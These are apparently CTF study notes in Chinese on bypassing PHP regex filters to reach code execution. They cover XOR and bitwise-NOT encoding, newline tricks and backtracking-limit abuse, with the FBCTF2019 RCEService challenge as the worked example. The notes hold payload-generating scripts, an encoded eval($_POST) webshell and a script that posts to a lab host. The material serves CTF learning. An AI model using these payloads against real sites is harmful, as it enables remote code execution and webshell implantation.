知识点:
参考以及总结大全:浅谈PHP代码执行中出现过滤限制的绕过执行方法_末 初的博客-CSDN博客_php代码执行绕过
正则匹配绕过:
分为无参数(把字母和数字都禁了)
有参数(只禁用某些函数例如system)
绕过:
异或绕过:
脚本:(如果ban了数字和字母就可以用这个脚本生成,但是长度会很长,对长度没有要求就可以用这个)
- payload = "assert"
- strlist = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 35, 36, 37, 38, 40, 41, 42, 43, 44, 45, 46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 93, 94, 95, 96, 123, 124, 125, 126, 127]
- #strlist是ascii表中所有非字母数字的字符十进制
- str1,str2 = '',''
-
- for char in payload:
- for i in strlist:
- for j in strlist:
- if(i ^ j == ord(char)):
- i = '%{:0>2}'.format(hex(i)[2:])
- j = '%{:0>2}'.format(hex(j)[2:])
- print("('{0}'^'{1}')".format(i,j),end=".")
- break
- else:
- continue
- break
比如assert
('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c')
没有ban数字和字母:脚本:
- import string
-
- char = string.printable
- cmd = 'assert'
- tmp1,tmp2 = '',''
- for res in cmd:
- for i in char:
- for j in char:
- if(ord(i)^ord(j) == ord(res)):
- tmp1 += i
- tmp2 += j
- print(tmp1)
- print(tmp2)
- break
- else:
- continue
- break
- print("('{}'^'{}')".format(tmp1,tmp2))
结果:
('000000'^'CICDU]')
另外还有一个,_GET 的异或获取为:${_GET}[_] --> ${%fe%fe%fe%fe^%a1%b9%bb%aa}[_]
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
//${_GET}{%ff}();&%ff=phpinfo
如果要其他rce就可以根据这个来构造,比如:
${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
//${_GET}[_](${_GET}[__]);&_=assert&__=eval($_POST[%27a%27])
取反编码绕过
php上传木马脚本:
-
- error_reporting(0);
- $a='assert';
- $b=urlencode(~$a);
- echo $b;
- echo "
"; - $c='(eval($_POST[mochu7]))';
- $d=urlencode(~$c);
- echo $d;
- ?>
生成后使用:
(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);
有参数时,可以直接url编码取反 system
- var_dump(urlencode(~'system'));
- var_dump(urlencode(~'whoami'));
(~%8C%86%8C%8B%9A%92)(~%88%97%90%9E%92%96);
#system('whoami');
当匹配为含有^ $时可以采用换行绕过:
^test表示匹配的字符以 test开头
test$表示匹配的字符以test结尾
^test$ 理论表示匹配的字符只能是test
但是正则匹配不匹配换行符号:可以用%0a (表示换行符号)来绕过:test%0a
.
不会匹配换行符,如
- if (preg_match('/^.*(flag).*$/', $json)) {
- echo 'Hacking attempt detected
'; - }
只需要 $json="\nflag"
而在非多行模式下,$
似乎会忽略在句尾的%0a
- if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
- echo $flag;
- }
只需要传入?a=flag%0a
回溯绕过
参考:
简单来说就是正则表达式匹配的时候某个.*将后面的字符全部匹配到了,导致表达式后面的式子没有地方匹配,因此一个一个字符吐出来,直到后面的式子全部匹配完毕或者回溯次数过多导致正则直接返回false
例如[FBCTF2019]RCEService
-
- putenv('PATH=/home/rceservice/jail');
-
- if (isset($_REQUEST['cmd'])) {
- $json = $_REQUEST['cmd'];
-
- if (!is_string($json)) {
- echo 'Hacking attempt detected
'; - } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
- echo 'Hacking attempt detected
'; - } else {
- echo 'Attempting to run command:
'; - $cmd = json_decode($json, true)['cmd'];
- if ($cmd !== NULL) {
- system($cmd);
- } else {
- echo 'Invalid input';
- }
- echo '
'; - }
- }
-
- ?>
注意正则匹配中的 ^.* .*$ .*就可以使用回溯,怎么回溯呢,脚本:
- import requests
-
- payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
- res = requests.post("http://ad66432f-4628-41f6-8190-d9b9c247904c.node3.buuoj.cn/", data={"cmd":payload})
- #print(payload)
- print(res.text)
由于这里传递的rce是以json 格式的,所以是{"cmd":"ls"}格式;
这里还有^ $ 可以用%0a绕过;
{%0a"cmd":"ls /home/rceservice/"%0a} 发现flag
{%0a"cmd":"/bin/cat /home/rceservice/flag"%0a} 打开flag 为什么cat还要加/bin 是因为
系统命令需要有特定的环境变量的也就是路径,系统找不到该路径下的exe文件怎么执行系统命令
因此这个地方查阅资料后发现只能调用绝对路径下的命令,cat命令就在/bin/目录下面
例题参考:[极客大挑战 2019]RCE ME(取反、异或绕过正则表达式、bypass disable_function)_WHOAMIAnony的博客-CSDN博客_取反绕过